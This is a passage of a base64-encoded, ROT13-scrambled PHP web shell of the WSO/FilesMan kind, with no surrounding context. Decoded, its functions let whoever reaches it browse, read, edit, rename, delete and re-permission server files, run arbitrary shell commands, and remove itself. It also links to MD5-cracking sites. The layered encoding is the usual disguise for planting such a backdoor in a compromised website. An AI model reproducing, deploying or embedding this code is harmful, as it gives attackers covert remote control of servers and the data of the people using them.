JGNuZ3UsIC0xKSAhPSAnLycpCgkJCSRjbmd1Lj0nLyc7CgkJJGNuZ3VmID0gQG5lZW5sX2hhdmRocihAbmVlbmxfenJldHIoQHR5Ym8oJGNuZ3UuJF9DQkZHWydjMyddKSwgQHR5Ym8oJGNuZ3UuJyonLCBUWUJPX0JBWUxRVkUpKSk7CgkJdnModmZfbmVlbmwoJGNuZ3VmKSYmQHBiaGFnKCRjbmd1ZikpIHsKCQkJc2Jlcm5wdSgkY25ndWYgbmYgJHZncnopIHsKCQkJCXZzKEB2Zl9xdmUoJHZncnopKXsKCQkJCQl2cygkY25ndSE9JHZncnopCgkJCQkJCWpmYkVycGhlZnZpclR5Ym8oJHZncnopOwoJCQkJfSByeWZyIHsKCQkJCQl2cyhyemNnbCgkX0NCRkdbJ2MyJ10pIHx8IEBmZ2VjYmYoc3Z5cl90cmdfcGJhZ3JhZ2YoJHZncnopLCAkX0NCRkdbJ2MyJ10pIT09c255ZnIpCgkJCQkJCXJwdWIgIjxuIHVlcnM9JyMnIGJhcHl2cHg9J3QoXCJTdnlyZkdiYnlmXCIsYWh5eSxcIiIuaGV5cmFwYnFyKCR2Z3J6KS4iXCIsIFwiaXZyalwiLFwiXCIpJz4iLnVnenlmY3Jwdm55cHVuZWYoJHZncnopLiI8L24+PG9lPiI7CgkJCQl9CgkJCX0KCQl9Cgl9Cgl2cyhAJF9DQkZHWydjMyddKQoJCWpmYkVycGhlZnZpclR5Ym8oJF9DQkZHWydwJ10pOwoJcnB1YiAiPC9xdmk+PG9lPjx1MT5Gcm5lcHUgc2JlIHVuZnU6PC91MT48cXZpIHB5bmZmPXBiYWdyYWc+CgkJPHNiZXogenJndWJxPSdjYmZnJyBnbmV0cmc9J19veW5heCcgYW56cj0ndXMnPgoJCQk8dmFjaGcgZ2xjcj0nZ3JrZycgYW56cj0ndW5mdScgZmdseXI9J2p2cWd1OjIwMGNrOyc+PG9lPgogICAgICAgICAgICA8dmFjaGcgZ2xjcj0ndXZxcXJhJyBhbnpyPSducGcnIGlueWhyPSdzdmFxJy8+CgkJCTx2YWNoZyBnbGNyPSdvaGdnYmEnIGlueWhyPSd1bmZ1cGVucHh2YXQuZWgnIGJhcHl2cHg9XCJxYnBoenJhZy51cy5ucGd2YmE9J3VnZ2NmOi8vdW5mdXBlbnB4dmF0LmVoL3ZhcXJrLmN1Yyc7cWJwaHpyYWcudXMuZmhvenZnKClcIj48b2U+CgkJCTx2YWNoZyBnbGNyPSdvaGdnYmEnIGlueWhyPSd6cTUuZXJxYWJ2bXIucGJ6JyBiYXB5dnB4PVwicWJwaHpyYWcudXMubnBndmJhPSd1Z2djOi8venE1LmVycWFidm1yLnBiei8/ZD0nK3FicGh6cmFnLnVzLnVuZnUuaW55aHIrJyZmPXpxNSc7cWJwaHpyYWcudXMuZmhvenZnKClcIj48b2U+CiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSdvaGdnYmEnIGlueWhyPSdwZW5weHNiZS56cicgYmFweXZweD1cInFicGh6cmFnLnVzLm5wZ3ZiYT0ndWdnYzovL3BlbnB4c2JlLnpyL3ZhcXJrLmN1Yyc7cWJwaHpyYWcudXMuZmhvenZnKClcIj48b2U+CgkJPC9zYmV6PjwvcXZpPiI7CglqZmJTYmJncmUoKTsKfQoKc2hhcGd2YmEgbnBndmJhU3Z5cmZHYmJ5ZigpIHsKCXZzKCB2ZmZyZygkX0NCRkdbJ2MxJ10pICkKCQkkX0NCRkdbJ2MxJ10gPSBoZXlxcnBicXIoJF9DQkZHWydjMSddKTsKCXZzKEAkX0NCRkdbJ2MyJ109PSdxYmpheWJucScpIHsKCQl2cyhAdmZfc3Z5cigkX0NCRkdbJ2MxJ10pICYmIEB2Zl9lcm5xbm95cigkX0NCRkdbJ2MxJ10pKSB7CgkJCWJvX2ZnbmVnKCJib190bXVuYXF5cmUiLCA0MDk2KTsKCQkJdXJucXJlKCJQYmFncmFnLVF2ZmNiZnZndmJhOiBuZ2ducHV6cmFnOyBzdnlyYW56cj0iLm9uZnJhbnpyKCRfQ0JGR1snYzEnXSkpOwoJCQl2cyAoc2hhcGd2YmFfcmt2ZmdmKCJ6dnpyX3BiYWdyYWdfZ2xjciIpKSB7CgkJCQkkZ2xjciA9IEB6dnpyX3BiYWdyYWdfZ2xjcigkX0NCRkdbJ2MxJ10pOwoJCQkJdXJucXJlKCJQYmFncmFnLUdsY3I6ICIgLiAkZ2xjcik7CgkJCX0gcnlmcgogICAgICAgICAgICAgICAgdXJucXJlKCJQYmFncmFnLUdsY3I6IG5jY3l2cG5ndmJhL2JwZ3JnLWZnZXJueiIpOwoJCQkkc2MgPSBAc2JjcmEoJF9DQkZHWydjMSddLCAiZSIpOwoJCQl2cygkc2MpIHsKCQkJCWp1dnlyKCFAc3Jicygkc2MpKQoJCQkJCXJwdWIgQHNlcm5xKCRzYywgMTAyNCk7CgkJCQlzcHliZnIoJHNjKTsKCQkJfQoJCX1ya3ZnOwoJfQoJdnMoIEAkX0NCRkdbJ2MyJ10gPT0gJ3p4c3Z5cicgKSB7CgkJdnMoIXN2eXJfcmt2ZmdmKCRfQ0JGR1snYzEnXSkpIHsKCQkJJHNjID0gQHNiY3JhKCRfQ0JGR1snYzEnXSwgJ2onKTsKCQkJdnMoJHNjKSB7CgkJCQkkX0NCRkdbJ2MyJ10gPSAicnF2ZyI7CgkJCQlzcHliZnIoJHNjKTsKCQkJfQoJCX0KCX0KCWpmYlVybnFyZSgpOwoJcnB1YiAnPHUxPlN2eXIgZ2JieWY8L3UxPjxxdmkgcHluZmY9cGJhZ3JhZz4nOwoJdnMoICFzdnlyX3JrdmZnZihAJF9DQkZHWydjMSddKSApIHsKCQlycHViICdTdnlyIGFiZyBya3ZmZ2YnOwoJCWpmYlNiYmdyZSgpOwoJCWVyZ2hlYTsKCX0KCSRodnEgPSBAY2JmdmtfdHJnY2podnEoQHN2eXJiamFyZSgkX0NCRkdbJ2MxJ10pKTsKCXZzKCEkaHZxKSB7CgkJJGh2cVsnYW56ciddID0gQHN2eXJiamFyZSgkX0NCRkdbJ2MxJ10pOwoJCSR0dnFbJ2FuenInXSA9IEBzdnlydGViaGMoJF9DQkZHWydjMSddKTsKCX0gcnlmciAkdHZxID0gQGNiZnZrX3RyZ3RldHZxKEBzdnlydGViaGMoJF9DQkZHWydjMSddKSk7CglycHViICc8ZmNuYT5BbnpyOjwvZmNuYT4gJy51Z3p5ZmNycHZueXB1bmVmKEBvbmZyYW56cigkX0NCRkdbJ2MxJ10pKS4nIDxmY25hPkZ2bXI6PC9mY25hPiAnLih2Zl9zdnlyKCRfQ0JGR1snYzEnXSk/amZiSXZyakZ2bXIoc3Z5cmZ2bXIoJF9DQkZHWydjMSddKSk6Jy0nKS4nIDxmY25hPkNyZXp2ZmZ2YmE6PC9mY25hPiAnLmpmYkNyZXpmUGJ5YmUoJF9DQkZHWydjMSddKS4nIDxmY25hPkJqYXJlL1RlYmhjOjwvZmNuYT4gJy4kaHZxWydhbnpyJ10uJy8nLiR0dnFbJ2FuenInXS4nPG9lPic7CglycHViICc8ZmNuYT5QdW5hdHIgZ3Z6cjo8L2ZjbmE+ICcucW5ncignTC16LXEgVTp2OmYnLHN2eXJwZ3Z6cigkX0NCRkdbJ2MxJ10pKS4nIDxmY25hPk5wcHJmZiBndnpyOjwvZmNuYT4gJy5xbmdyKCdMLXotcSBVOnY6Zicsc3Z5cm5ndnpyKCRfQ0JGR1snYzEnXSkpLicgPGZjbmE+WmJxdnNsIGd2enI6PC9mY25hPiAnLnFuZ3IoJ0wtei1xIFU6djpmJyxzdnlyemd2enIoJF9DQkZHWydjMSddKSkuJzxvZT48b2U+JzsKCXZzKCByemNnbCgkX0NCRkdbJ2MyJ10pICkKCQkkX0NCRkdbJ2MyJ10gPSAnaXZyaic7Cgl2cyggdmZfc3Z5cigkX0NCRkdbJ2MxJ10pICkKCQkkeiA9IG5lZW5sKCdJdnJqJywgJ1V2dHV5dnR1ZycsICdRYmpheWJucScsICdVcmtxaHpjJywgJ1JxdmcnLCAnUHV6YnEnLCAnRXJhbnpyJywgJ0diaHB1Jyk7CglyeWZyCgkJJHogPSBuZWVubCgnUHV6YnEnLCAnRXJhbnpyJywgJ0diaHB1Jyk7CglzYmVybnB1KCR6IG5mICRpKQoJCXJwdWIgJzxuIHVlcnM9IyBiYXB5dnB4PSJ0KGFoeXksYWh5eSxcJycgLiBoZXlyYXBicXIoJF9DQkZHWydjMSddKSAuICdcJyxcJycuZmdlZ2J5YmpyZSgkaSkuJ1wnKSI+Jy4oKGZnZWdieWJqcmUoJGkpPT1AJF9DQkZHWydjMiddKT8nPG8+WyAnLiRpLicgXTwvbz4nOiRpKS4nPC9uPiAnOwoJcnB1YiAnPG9lPjxvZT4nOwoJZmp2Z3B1KCRfQ0JGR1snYzInXSkgewoJCXBuZnIgJ2l2cmonOgoJCQlycHViICc8Y2VyIHB5bmZmPXp5MT4nOwoJCQkkc2MgPSBAc2JjcmEoJF9DQkZHWydjMSddLCAnZScpOwoJCQl2cygkc2MpIHsKCQkJCWp1dnlyKCAhQHNyYnMoJHNjKSApCgkJCQkJcnB1YiB1Z3p5ZmNycHZueXB1bmVmKEBzZXJucSgkc2MsIDEwMjQpKTsKCQkJCUBzcHliZnIoJHNjKTsKCQkJfQoJCQlycHViICc8L2Nlcj4nOwoJCQlvZXJueDsKCQlwbmZyICd1dnR1eXZ0dWcnOgoJCQl2cyggQHZmX2VybnFub3lyKCRfQ0JGR1snYzEnXSkgKSB7CgkJCQlycHViICc8cXZpIHB5bmZmPXp5MSBmZ2x5cj0ib25weHRlYmhhcS1wYnliZTogI3IxcjFyMTtwYnliZTpveW5weDsiPic7CgkJCQkkcGJxciA9IEB1dnR1eXZ0dWdfc3Z5cigkX0NCRkdbJ2MxJ10sZ2Vocik7CgkJCQlycHViIGZnZV9lcmN5bnByKG5lZW5sKCc8ZmNuYSAnLCc8L2ZjbmE+JyksIG5lZW5sKCc8c2JhZyAnLCc8L3NiYWc+JyksJHBicXIpLic8L3F2aT4nOwoJCQl9CgkJCW9lcm54OwoJCXBuZnIgJ3B1emJxJzoKCQkJdnMoICFyemNnbCgkX0NCRkdbJ2MzJ10pICkgewoJCQkJJGNyZXpmID0gMDsKCQkJCXNiZSgkdj1mZ2V5cmEoJF9DQkZHWydjMyddKS0xOyR2Pj0wOy0tJHYpCgkJCQkJJGNyZXpmICs9ICh2YWcpJF9DQkZHWydjMyddWyR2XSpjYmooOCwgKGZnZXlyYSgkX0NCRkdbJ2MzJ10pLSR2LTEpKTsKCQkJCXZzKCFAcHV6YnEoJF9DQkZHWydjMSddLCAkY3JlemYpKQoJCQkJCXJwdWIgJ1BuYVwnZyBmcmcgY3JlenZmZnZiYWYhPG9lPjxmcGV2Y2c+cWJwaHpyYWcuenMuYzMuaW55aHI9IiI7PC9mcGV2Y2c+JzsKCQkJfQoJCQlweXJuZWZnbmdwbnB1cigpOwoJCQlycHViICc8ZnBldmNnPmMzXz0iIjs8L2ZwZXZjZz48c2JleiBiYWZob3p2Zz0idChhaHl5LGFoeXksXCcnIC4gaGV5cmFwYnFyKCRfQ0JGR1snYzEnXSkgLiAnXCcsYWh5eSxndXZmLnB1emJxLmlueWhyKTtlcmdoZWEgc255ZnI7Ij48dmFjaGcgZ2xjcj1ncmtnIGFuenI9cHV6YnEgaW55aHI9IicuZmhvZmdlKGZjZXZhZ3MoJyViJywgc3Z5cmNyZXpmKCRfQ0JGR1snYzEnXSkpLC00KS4nIj48dmFjaGcgZ2xjcj1maG96dmcgaW55aHI9Ij4+Ij48L3NiZXo+JzsKCQkJb2Vybng7CgkJcG5mciAncnF2Zyc6CgkJCXZzKCAhdmZfamV2Z25veXIoJF9DQkZHWydjMSddKSkgewoJCQkJcnB1YiAnU3Z5ciB2ZmFcJ2cgamV2Z3Jub3lyJzsKCQkJCW9lcm54OwoJCQl9CgkJCXZzKCAhcnpjZ2woJF9DQkZHWydjMyddKSApIHsKCQkJCSRndnpyID0gQHN2eXJ6Z3Z6cigkX0NCRkdbJ2MxJ10pOwoJCQkJJF9DQkZHWydjMyddID0gZmhvZmdlKCRfQ0JGR1snYzMnXSwxKTsKCQkJCSRzYyA9IEBzYmNyYSgkX0NCRkdbJ2MxJ10sImoiKTsKCQkJCXZzKCRzYykgewoJCQkJCUBzamV2Z3IoJHNjLCRfQ0JGR1snYzMnXSk7CgkJCQkJQHNweWJmcigkc2MpOwoJCQkJCXJwdWIgJ0ZuaXJxITxvZT48ZnBldmNnPmMzXz0iIjs8L2ZwZXZjZz4nOwoJCQkJCUBnYmhwdSgkX0NCRkdbJ2MxJ10sJGd2enIsJGd2enIpOwoJCQkJfQoJCQl9CgkJCXJwdWIgJzxzYmV6IGJhZmhvenZnPSJ0KGFoeXksYWh5eSxcJycgLiBoZXlyYXBicXIoJF9DQkZHWydjMSddKSAuICdcJyxhaHl5LFwnMVwnK2d1dmYuZ3JrZy5pbnlocik7ZXJnaGVhIHNueWZyOyI+PGdya2duZXJuIGFuenI9Z3JrZyBweW5mZj1vdnRuZXJuPic7CgkJCSRzYyA9IEBzYmNyYSgkX0NCRkdbJ2MxJ10sICdlJyk7CgkJCXZzKCRzYykgewoJCQkJanV2eXIoICFAc3Jicygkc2MpICkKCQkJCQlycHViIHVnenlmY3Jwdm55cHVuZWYoQHNlcm5xKCRzYywgMTAyNCkpOwoJCQkJQHNweWJmcigkc2MpOwoJCQl9CgkJCXJwdWIgJzwvZ3JrZ25lcm4+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSI+PiI+PC9zYmV6Pic7CgkJCW9lcm54OwoJCXBuZnIgJ3Vya3FoemMnOgoJCQkkcCA9IEBzdnlyX3RyZ19wYmFncmFnZigkX0NCRkdbJ2MxJ10pOwoJCQkkYSA9IDA7CgkJCSR1ID0gbmVlbmwoJzAwMDAwMDAwPG9lPicsJycsJycpOwoJCQkkeXJhID0gZmdleXJhKCRwKTsKCQkJc2JlICgkdj0wOyAkdjwkeXJhOyArKyR2KSB7CgkJCQkkdVsxXSAuPSBmY2V2YWdzKCclMDJLJyxiZXEoJHBbJHZdKSkuJyAnOwoJCQkJZmp2Z3B1ICggYmVxKCRwWyR2XSkgKSB7CgkJCQkJcG5mciAwOiAgJHVbMl0gLj0gJyAnOyBvZXJueDsKCQkJCQlwbmZyIDk6ICAkdVsyXSAuPSAnICc7IG9lcm54OwoJCQkJCXBuZnIgMTA6ICR1WzJdIC49ICcgJzsgb2Vybng7CgkJCQkJcG5mciAxMzogJHVbMl0gLj0gJyAnOyBvZXJueDsKCQkJCQlxcnNuaHlnOiAkdVsyXSAuPSAkcFskdl07IG9lcm54OwoJCQkJfQoJCQkJJGErKzsKCQkJCXZzICgkYSA9PSAzMikgewoJCQkJCSRhID0gMDsKCQkJCQl2cyAoJHYrMSA8ICR5cmEpIHskdVswXSAuPSBmY2V2YWdzKCclMDhLJywkdisxKS4nPG9lPic7fQoJCQkJCSR1WzFdIC49ICc8b2U+JzsKCQkJCQkkdVsyXSAuPSAiXGEiOwoJCQkJfQoJCSAJfQoJCQlycHViICc8Z25veXIgcHJ5eWZjbnB2YXQ9MSBwcnl5Y25xcXZhdD01IG90cGJ5YmU9IzIyMjIyMj48Z2U+PGdxIG90cGJ5YmU9IzMzMzMzMz48ZmNuYSBmZ2x5cj0ic2JhZy1qcnZ0dWc6IGFiZXpueTsiPjxjZXI+Jy4kdVswXS4nPC9jZXI+PC9mY25hPjwvZ3E+PGdxIG90cGJ5YmU9IzI4MjgyOD48Y2VyPicuJHVbMV0uJzwvY2VyPjwvZ3E+PGdxIG90cGJ5YmU9IzMzMzMzMz48Y2VyPicudWd6eWZjcnB2bnlwdW5lZigkdVsyXSkuJzwvY2VyPjwvZ3E+PC9nZT48L2dub3lyPic7CgkJCW9lcm54OwoJCXBuZnIgJ2VyYW56cic6CgkJCXZzKCAhcnpjZ2woJF9DQkZHWydjMyddKSApIHsKCQkJCXZzKCFAZXJhbnpyKCRfQ0JGR1snYzEnXSwgJF9DQkZHWydjMyddKSkKCQkJCQlycHViICdQbmFcJ2cgZXJhbnpyITxvZT4nOwoJCQkJcnlmcgoJCQkJCXF2cignPGZwZXZjZz50KGFoeXksYWh5eSwiJy5oZXlyYXBicXIoJF9DQkZHWydjMyddKS4nIixhaHl5LCIiKTwvZnBldmNnPicpOwoJCQl9CgkJCXJwdWIgJzxzYmV6IGJhZmhvenZnPSJ0KGFoeXksYWh5eSxcJycgLiBoZXlyYXBicXIoJF9DQkZHWydjMSddKSAuICdcJyxhaHl5LGd1dmYuYW56ci5pbnlocik7ZXJnaGVhIHNueWZyOyI+PHZhY2hnIGdsY3I9Z3JrZyBhbnpyPWFuenIgaW55aHI9IicudWd6eWZjcnB2bnlwdW5lZigkX0NCRkdbJ2MxJ10pLiciPjx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj0iPj4iPjwvc2Jlej4nOwoJCQlvZXJueDsKCQlwbmZyICdnYmhwdSc6CgkJCXZzKCAhcnpjZ2woJF9DQkZHWydjMyddKSApIHsKCQkJCSRndnpyID0gZmdlZ2JndnpyKCRfQ0JGR1snYzMnXSk7CgkJCQl2cygkZ3Z6cikgewoJCQkJCXZzKCFnYmhwdSgkX0NCRkdbJ2MxJ10sJGd2enIsJGd2enIpKQoJCQkJCQlycHViICdTbnZ5ISc7CgkJCQkJcnlmcgoJCQkJCQlycHViICdHYmhwdXJxISc7CgkJCQl9IHJ5ZnIgcnB1YiAnT25xIGd2enIgc2Jlem5nISc7CgkJCX0KCQkJcHlybmVmZ25ncG5wdXIoKTsKCQkJcnB1YiAnPGZwZXZjZz5jM189IiI7PC9mcGV2Y2c+PHNiZXogYmFmaG96dmc9InQoYWh5eSxhaHl5LFwnJyAuIGhleXJhcGJxcigkX0NCRkdbJ2MxJ10pIC4gJ1wnLGFoeXksZ3V2Zi5nYmhwdS5pbnlocik7ZXJnaGVhIHNueWZyOyI+PHZhY2hnIGdsY3I9Z3JrZyBhbnpyPWdiaHB1IGlueWhyPSInLnFuZ3IoIkwtei1xIFU6djpmIiwgQHN2eXJ6Z3Z6cigkX0NCRkdbJ2MxJ10pKS4nIj48dmFjaGcgZ2xjcj1maG96dmcgaW55aHI9Ij4+Ij48L3NiZXo+JzsKCQkJb2Vybng7Cgl9CglycHViICc8L3F2aT4nOwoJamZiU2JiZ3JlKCk7Cn0KCnNoYXBndmJhIG5wZ3ZiYVBiYWZieXIoKSB7CiAgICB2cyghcnpjZ2woJF9DQkZHWydjMSddKSAmJiAhcnpjZ2woJF9DQkZHWydjMiddKSkgewogICAgICAgIEpGQmZyZ3BiYnh2cih6cTUoJF9GUkVJUkVbJ1VHR0NfVUJGRyddKS4nZmdxcmVlX2diX2JoZycsIGdlaHIpOwogICAgICAgICRfQ0JGR1snYzEnXSAuPSAnIDI+JjEnOwogICAgfSByeWZydnMoIXJ6Y2dsKCRfQ0JGR1snYzEnXSkpCiAgICAgICAgSkZCZnJncGJieHZyKHpxNSgkX0ZSRUlSRVsnVUdHQ19VQkZHJ10pLidmZ3FyZWVfZ2JfYmhnJywgMCk7CgoJdnModmZmcmcoJF9DQkZHWydud25rJ10pKSB7CgkJSkZCZnJncGJieHZyKHpxNSgkX0ZSRUlSRVsnVUdHQ19VQkZHJ10pLidud25rJywgZ2Vocik7CgkJYm9fZmduZWcoKTsKCQlycHViICJxLnBzLnB6cS5pbnlocj0nJztcYSI7CgkJJGdyemMgPSBAdnBiYWkoJF9DQkZHWydwdW5lZnJnJ10sICdIR1MtOCcsIG5xcXBmeW5mdXJmKCJcYSQgIi4kX0NCRkdbJ2MxJ10uIlxhIi5qZmJSaygkX0NCRkdbJ2MxJ10pLCJcYVxlXGdcXCdcMCIpKTsKCQl2cyhjZXJ0X3puZ3B1KCIhLipwcVxmKyhbXjtdKykkISIsJF9DQkZHWydjMSddLCR6bmdwdSkpCXsKCQkJdnMoQHB1cXZlKCR6bmdwdVsxXSkpIHsKCQkJCSRUWUJPTllGWydwanEnXSA9IEB0cmdwanEoKTsKCQkJCXJwdWIgInBfPSciLiRUWUJPTllGWydwanEnXS4iJzsiOwoJCQl9CgkJfQoJCXJwdWIgInEucHMuYmhnY2hnLmlueWhyKz0nIi4kZ3J6Yy4iJzsiOwoJCXJwdWIgInEucHMuYmhnY2hnLmZwZWJ5eUdiYyA9IHEucHMuYmhnY2hnLmZwZWJ5eVVydnR1ZzsiOwoJCSRncnpjID0gYm9fdHJnX3B5cm5hKCk7CgkJcnB1YiBmZ2V5cmEoJGdyemMpLCAiXGEiLCAkZ3J6YzsKCQlya3ZnOwoJfQogICAgdnMocnpjZ2woJF9DQkZHWydud25rJ10pJiYhcnpjZ2woJF9DQkZHWydjMSddKSkKCQlKRkJmcmdwYmJ4dnIoenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkuJ253bmsnLCAwKTsKCWpmYlVybnFyZSgpOwogICAgcnB1YiAiPGZwZXZjZz4KdnMoanZhcWJqLlJpcmFnKSBqdmFxYmoucG5jZ2hlclJpcmFnZihSaXJhZy5YUkxRQkpBKTsKaW5lIHB6cWYgPSBhcmogTmVlbmwoJycpOwppbmUgcGhlID0gMDsKc2hhcGd2YmEgeGMocikgewoJaW5lIGEgPSAoanZhcWJqLlJpcmFnKSA/IHIuanV2cHUgOiByLnhybFBicXI7Cgl2cyhhID09IDM4KSB7CgkJcGhlLS07CgkJdnMocGhlPj0wKQoJCQlxYnBoenJhZy5wcy5wenEuaW55aHIgPSBwenFmW3BoZV07CgkJcnlmcgoJCQlwaGUrKzsKCX0gcnlmciB2cyhhID09IDQwKSB7CgkJcGhlKys7CgkJdnMocGhlIDwgcHpxZi55cmF0Z3UpCgkJCXFicGh6cmFnLnBzLnB6cS5pbnlociA9IHB6cWZbcGhlXTsKCQlyeWZyCgkJCXBoZS0tOwoJfQp9CnNoYXBndmJhIG5xcShwenEpIHsKCXB6cWYuY2JjKCk7CglwenFmLmNoZnUocHpxKTsKCXB6cWYuY2hmdSgnJyk7CglwaGUgPSBwenFmLnlyYXRndS0xOwp9CjwvZnBldmNnPiI7CglycHViICc8dTE+UGJhZmJ5cjwvdTE+PHF2aSBweW5mZj1wYmFncmFnPjxzYmV6IGFuenI9cHMgYmFmaG96dmc9InZzKHEucHMucHpxLmlueWhyPT1cJ3B5cm5lXCcpe3EucHMuYmhnY2hnLmlueWhyPVwnXCc7cS5wcy5wenEuaW55aHI9XCdcJztlcmdoZWEgc255ZnI7fW5xcShndXZmLnB6cS5pbnlocik7dnMoZ3V2Zi5ud25rLnB1cnB4cnEpe24oYWh5eSxhaHl5LGd1dmYucHpxLmlueWhyLGd1dmYuZnVial9yZWViZWYucHVycHhycT8xOlwnXCcpO31yeWZye3QoYWh5eSxhaHl5LGd1dmYucHpxLmlueWhyLGd1dmYuZnVial9yZWViZWYucHVycHhycT8xOlwnXCcpO30gZXJnaGVhIHNueWZyOyI+PGZyeXJwZyBhbnpyPW55dm5mPic7CglzYmVybnB1KCRUWUJPTllGWydueXZuZnJmJ10gbmYgJGEgPT4gJGkpIHsKCQl2cygkaSA9PSAnJykgewoJCQlycHViICc8YmNndGViaGMgeW5vcnk9Ii0nLnVnenlmY3Jwdm55cHVuZWYoJGEpLictIj48L2JjZ3RlYmhjPic7CgkJCXBiYWd2YWhyOwoJCX0KCQlycHViICc8YmNndmJhIGlueWhyPSInLnVnenlmY3Jwdm55cHVuZWYoJGkpLiciPicuJGEuJzwvYmNndmJhPic7Cgl9CgkKCXJwdWIgJzwvZnJ5cnBnPjx2YWNoZyBnbGNyPW9oZ2diYSBiYXB5dnB4PSJucXEocS5wcy5ueXZuZi5pbnlocik7dnMocS5wcy5ud25rLnB1cnB4cnEpe24oYWh5eSxhaHl5LHEucHMubnl2bmYuaW55aHIscS5wcy5mdWJqX3JlZWJlZi5wdXJweHJxPzE6XCdcJyk7fXJ5ZnJ7dChhaHl5LGFoeXkscS5wcy5ueXZuZi5pbnlocixxLnBzLmZ1YmpfcmVlYmVmLnB1cnB4cnE/MTpcJ1wnKTt9IiBpbnlocj0iPj4iPiA8YWJvZT48dmFjaGcgZ2xjcj1wdXJweG9iayBhbnpyPW53bmsgaW55aHI9MSAnLihAJF9QQkJYVlJbenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkuJ253bmsnXT8ncHVycHhycSc6JycpLic+IGZyYXEgaGZ2YXQgTldOSyA8dmFjaGcgZ2xjcj1wdXJweG9iayBhbnpyPWZ1YmpfcmVlYmVmIGlueWhyPTEgJy4oIXJ6Y2dsKCRfQ0JGR1snYzInXSl8fCRfUEJCWFZSW3pxNSgkX0ZSRUlSRVsnVUdHQ19VQkZHJ10pLidmZ3FyZWVfZ2JfYmhnJ10/J3B1cnB4cnEnOicnKS4nPiBlcnF2ZXJwZyBmZ3FyZWUgZ2IgZmdxYmhnICgyPiYxKTwvYWJvZT48b2UvPjxncmtnbmVybiBweW5mZj1vdnRuZXJuIGFuenI9YmhnY2hnIGZnbHlyPSJvYmVxcmUtb2JnZ2J6OjA7em5ldHZhOjA7IiBlcm5xYmF5bD4nOwoJdnMoIXJ6Y2dsKCRfQ0JGR1snYzEnXSkpIHsKCQlycHViIHVnenlmY3Jwdm55cHVuZWYoIiQgIi4kX0NCRkdbJ2MxJ10uIlxhIi5qZmJSaygkX0NCRkdbJ2MxJ10pKTsKCX0KCXJwdWIgJzwvZ3JrZ25lcm4+PGdub3lyIGZnbHlyPSJvYmVxcmU6MWNrIGZieXZxICNxczU7b25weHRlYmhhcS1wYnliZTojNTU1O29iZXFyZS1nYmM6MGNrOyIgcHJ5eWNucXF2YXQ9MCBwcnl5ZmNucHZhdD0wIGp2cWd1PSIxMDAlIj48Z2U+PGdxIGp2cWd1PSIxJSI+JDwvZ3E+PGdxPjx2YWNoZyBnbGNyPWdya2cgYW56cj1wenEgZmdseXI9Im9iZXFyZTowY2s7anZxZ3U6MTAwJTsiIGJheHJscWJqYT0ieGMocmlyYWcpOyI+PC9ncT48L2dlPjwvZ25veXI+JzsKCXJwdWIgJzwvc2Jlej48L3F2aT48ZnBldmNnPnEucHMucHpxLnNicGhmKCk7PC9mcGV2Y2c+JzsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFZYnRiaGcoKSB7CiAgICBmcmdwYmJ4dnIoenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSksICcnLCBndnpyKCkgLSAzNjAwKTsKCXF2cignb2xyIScpOwp9CgpzaGFwZ3ZiYSBucGd2YmFGcnlzRXJ6YmlyKCkgewoJJGFuenJzdnlyID0gb25mcmFuenIoX19TVllSX18pOwoJdnMoY2VydF96bmdwdSgiL1wuY3VjLyIsICRhbnpyc3Z5cikpewoJCWNlcnRfem5ncHUoIiMoLiopXC5jdWMjIiwgJGFuenJzdnlyLCAkYW56cnN2eXIyKTsKCQkkYW56cnN2eXIgPSAkYW56cnN2eXIyWzFdLicuY3VjJzsKCX1yeWZydnMoY2VydF96bmdwdSgiL1wuY3VjNS8iLCAkYW56cnN2eXIpKXsKCQljZXJ0X3puZ3B1KCIjKC4qKVwuY3VjNSMiLCAkYW56cnN2eXIsICRhbnpyc3Z5cjIpOwoJCSRhbnpyc3Z5ciA9ICRhbnpyc3Z5cjJbMV0uJy5jdWM1JzsKCX1yeWZydnMoY2VydF96bmdwdSgiL1wuY3VjNy8iLCAkYW56cnN2eXIpKXsKCQljZXJ0X3puZ3B1KCIjKC4qKVwuY3VjNyMiLCAkYW56cnN2eXIsICRhbnpyc3Z5cjIpOwoJCSRhbnpyc3Z5ciA9ICRhbnpyc3Z5cjJbMV0uJy5jdWM3JzsKCX1yeWZydnMoY2VydF96bmdwdSgiL1wuY3VnenkvIiwgJGFuenJzdnlyKSl7CgkJY2VydF96bmdwdSgiIyguKilcLmN1Z3p5IyIsICRhbnpyc3Z5ciwgJGFuenJzdnlyMik7CgkJJGFuenJzdnlyID0gJGFuenJzdnlyMlsxXS4nLmN1Z3p5JzsKCX0KCXZzKCRfQ0JGR1snYzEnXSA9PSAnbHJmJykKCQl2cyhAaGF5dmF4KGNlcnRfZXJjeW5wcignIVwoXHErXClcZi4qIScsICcnLCAkYW56cnN2eXIpKSkKCQkJcXZyKCdGdXJ5eSB1bmYgb3JyYSBlcnpiaXJxJyk7CgkJcnlmcgoJCQlycHViICdoYXl2YXggcmVlYmUhJzsKICAgIHZzKCRfQ0JGR1snYzEnXSAhPSAnbHJmJykKICAgICAgICBqZmJVcm5xcmUoKTsKCXJwdWIgJzx1MT5GaHZwdnFyPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+RXJueXlsIGpuYWcgZ2IgZXJ6YmlyIGd1ciBmdXJ5eT88b2U+PG4gdWVycz0jIGJhcHl2cHg9InQoYWh5eSxhaHl5LFwnbHJmXCcpIj5McmY8L24+PC9xdmk+JzsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFPZWhncnNiZXByKCkgewoJamZiVXJucXJlKCk7Cgl2cyggdmZmcmcoJF9DQkZHWydjZWJnYiddKSApIHsKCQlycHViICc8dTE+RXJmaHlnZjwvdTE+PHF2aSBweW5mZj1wYmFncmFnPjxmY25hPkdsY3I6PC9mY25hPiAnLnVnenlmY3Jwdm55cHVuZWYoJF9DQkZHWydjZWJnYiddKS4nIDxmY25hPkZyZWlyZTo8L2ZjbmE+ICcudWd6eWZjcnB2bnlwdW5lZigkX0NCRkdbJ2ZyZWlyZSddKS4nPG9lPic7CgkJdnMoICRfQ0JGR1snY2ViZ2InXSA9PSAnc2djJyApIHsKCQkJc2hhcGd2YmEgamZiT2VoZ3JTYmVwcigkdmMsJGNiZWcsJHlidHZhLCRjbmZmK